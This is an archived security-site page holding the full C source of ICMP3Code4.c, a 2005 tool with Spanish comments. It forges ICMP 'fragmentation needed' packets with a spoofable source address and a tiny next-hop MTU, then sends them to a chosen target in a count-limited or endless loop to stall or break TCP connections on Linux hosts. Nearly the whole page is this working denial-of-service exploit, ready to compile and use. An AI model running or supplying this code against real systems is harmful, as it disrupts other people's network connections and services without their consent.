exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ICMP3Code4.c

ICMP3Code4.c
Posted May 7, 2005
Authored by Norwegian

Simple tool that transmits ICMP type 3 code 4 messages to a given destination, sometimes resulting in the connection being terminated or severely hampered. Reported to work against Linux boxes.

tags | advisory
systems | linux
SHA-256 | 327269e6429f86a37a10156ec5f7a14d6f138ea0bc11b2c79d9124fdd7136cbe

ICMP3Code4.c

Change Mirror Download
/*
* Programa que explota la "vulnerabilidad" que parece ser afecta a casi
* cualquier implementacion de IP, haciendo que la MTU de los paquetes sea
* minima y causa que las conexiones TCP casquen. La verdad, se supone que
* al poner la MTU del "siguiente salto" al minimo, las conexiones TCP se
* arrastran, por lo visto hasta cascar. Personalmente solo he podido comprobar
* que de hecho ssh se queda "colgado". Esto ocurre cuando se envia un
* datagrama ICMP tipo 3 con codigo 4. En la cabecera viene el checksum y luego
* el campo "unused" DEBE ser 0 (2 bytes). Los 16 bits siguientes son el Next
* Hop MTU. Al ponerlo a 68 es cuando las conexiones revientan. Es algo como
* disminuir el MSS hasta 1. En este caso, se genera una cantidad de "basura"
* que satura una conexion TCP establecida.
*
* Notas:
* Despues de la cabecera IP y la ICMP hay que recordar que hay que
* "recrear" la Cabecera IP de Origen. Por logica, deberia ser de origen
* y destino cruzados respecto del datagrama IP + ICMP que se envia.
*
* Se incluye una funcion para calcular el checksum de las cabeceras IP y
* la ICMP, pero se supone que en Linux se calculan automaticamente.
*
* Advisory:
* http://www.niscc.gov.uk/niscc/docs/al-20050412-00308.html?lang=en
*
* Nada mas, que lo goceis...
* Norwegian
* norwegian@norwegianlinux.org
*/
#include <stdio.h>
#include <getopt.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <setjmp.h>
#include <stdlib.h>
#include <time.h>
#include <malloc.h>

/*************************************/
/* Funcion para calcular el Checksum */
/*************************************/
u_short Checksum(u_short *Direccion, int Longitud) {
int Quedan = Longitud;
u_short *w = Direccion;
int CS = 0;
u_short Respuesta = 0;

while(Quedan > 1) {
CS += *w++;
Quedan -= 2;
}
if(Quedan == 1) {
*(u_char *)(&Respuesta) = *(u_char *)w;
CS += Respuesta;
}
CS = (CS >> 16) + (CS & 0xFFFF);
CS += (CS >> 16);
Respuesta = ~CS;
return(Respuesta);
}

int main(int argc, char *argv[]) {
/*************/
/* Variables */
/*************/
int UNO = 1;
char Origen[80], Destino[80];
int Resultado, Numero, Socket, Opcion, HayDestino=0, HayOrigen=0;
struct protoent *Protocolo;
struct iphdr *CabeceraIP, *CabeceraIPIncluida;
struct icmp *CabeceraICMP;
char *Buffer;
struct hostent *Hoste;
int LONGITUD_IP, LONGITUD_TOTAL;;
struct sockaddr_in Victima;
int NumeroDeVeces = 0;
char Mensaje[] = "\x4e\x6f\x72\x77\x65\x67\x69\x61\x6e"; /* :) */

LONGITUD_IP = sizeof(struct iphdr);
LONGITUD_TOTAL = sizeof (struct iphdr) + sizeof (struct iphdr) + 8 + sizeof(Mensaje) -1;

bzero(Origen, 80);
bzero(Destino, 80);

/****************************/
/* Controlamos las opciones */
/****************************/
while((Opcion=getopt(argc, argv, "odn")) != -1) {
switch(Opcion) {
case 'o':
sprintf(Origen, "%s", argv[optind]);
HayOrigen=1;
break;
case 'd':
sprintf(Destino, "%s", argv[optind]);
HayDestino=1;
break;
case 'n':
NumeroDeVeces = atoi(argv[optind]);
break;
}
}

if(!HayDestino || !HayOrigen) {
printf("Hay que especificar al menos un Destino.\n");
printf("Uso:\n");
printf("%s -d [destino] -o [origen] -n [Numero de ICMPs]\n", argv[0]);
exit(-1);
}

/************************************/
/* Ir inicializando cabeceras y tal */
/************************************/
Buffer = (char *)malloc(LONGITUD_TOTAL);
bzero(Buffer, LONGITUD_TOTAL);
CabeceraIP = (struct iphdr *)Buffer;
CabeceraICMP = (struct icmp *)(Buffer + LONGITUD_IP);
CabeceraIPIncluida = (struct iphdr *)(Buffer + LONGITUD_IP + 8);
//CabeceraIPIncluida = (struct iphdr *)(Buffer + LONGITUD_IP + sizeof(struct icmp));

/*****************/
/* Cabecera IP 1 */
/*****************/
if((Hoste = gethostbyname(Origen)) != NULL) {
bcopy(Hoste->h_addr, (char *)&(CabeceraIP->saddr), Hoste->h_length);
} else {
if((CabeceraIP->saddr=inet_addr(Origen)) < 0) {
printf("Error al buscar el host Origen\n");
exit(-1);
}
}
if((Hoste = gethostbyname(Destino)) != NULL) {
bcopy(Hoste->h_addr, (char *)&(CabeceraIP->daddr), Hoste->h_length);
} else {
if((CabeceraIP->daddr=inet_addr(Destino)) < 0) {
printf("Error al buscar el host Origen\n");
exit(-1);
}
}
CabeceraIP->version = 4;
CabeceraIP->ihl = LONGITUD_IP / 4;
CabeceraIP->ttl = 255;
CabeceraIP->protocol = IPPROTO_ICMP;
CabeceraIP->id = 0x01;
CabeceraIP->tot_len = htons(LONGITUD_TOTAL);
CabeceraIP->check = Checksum((u_short *)CabeceraIP, LONGITUD_IP);

/*****************************************************/
/* Copia de la Cabecera IP (Que se supone de Origen) */
/*****************************************************/
memcpy(&(CabeceraIPIncluida->saddr), &(CabeceraIP->daddr), 4);
memcpy(&(CabeceraIPIncluida->daddr), &(CabeceraIP->saddr), 4);
CabeceraIPIncluida->version = 4;
CabeceraIPIncluida->ihl = LONGITUD_IP / 4;
CabeceraIPIncluida->ttl = 255;
CabeceraIPIncluida->protocol = IPPROTO_TCP;
CabeceraIPIncluida->id = 0x02;
CabeceraIPIncluida->tot_len=htons(sizeof(CabeceraIPIncluida) + 20);
CabeceraIPIncluida->check = Checksum((u_short *)CabeceraIPIncluida, LONGITUD_IP);

/*****************/
/* Cabecera ICMP */
/*****************/
CabeceraICMP->icmp_type = 3;
CabeceraICMP->icmp_code = 4;
CabeceraICMP->icmp_cksum = 0;

/******************************************/
/* Relleno + Next-Hop MTU - From RFC 1191 */
/******************************************/
CabeceraICMP->icmp_hun.ih_pmtu.ipm_void = 0x0000;
CabeceraICMP->icmp_hun.ih_pmtu.ipm_nextmtu = 0x4400;
CabeceraICMP->icmp_cksum = Checksum((u_short *)(Buffer + LONGITUD_IP), 20);

Socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (Socket < 0) {
printf("Error al crear el Socket.\n");
exit(-1);
}

/*******************************************************************/
/* Anyadir al final los primeros 8 bytes del datagrama IP original */
/*******************************************************************/
memcpy((Buffer + sizeof(struct iphdr) + sizeof(struct iphdr) + 8), Mensaje, 9);

/***************************************************************************/
/* Poner el flag IP_HDRINCL para que se incluya la copia de la cabecera IP */
/***************************************************************************/
Resultado = setsockopt(Socket, IPPROTO_IP, IP_HDRINCL, (char *)&UNO, sizeof(UNO));
if(Resultado == -1) {
printf("Error al hacer setsockopt() sobre el Socket.\n");
exit(-1);
}

/****************************/
/* Ahora es cuando se envia */
/****************************/
memcpy(&(Victima.sin_addr.s_addr),&(CabeceraIP->daddr), 4);
Victima.sin_family = AF_INET;
Victima.sin_port = htons(0);
if(NumeroDeVeces == 0) {
for (;;) Resultado = sendto(Socket, Buffer, LONGITUD_TOTAL, 0, (struct sockaddr *)&Victima, sizeof(struct sockaddr));
} else {
for(UNO = 0; UNO < NumeroDeVeces; UNO++) {
Resultado = sendto(Socket, Buffer, LONGITUD_TOTAL, 0, (struct sockaddr *)&Victima, sizeof(struct sockaddr));
}
}
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close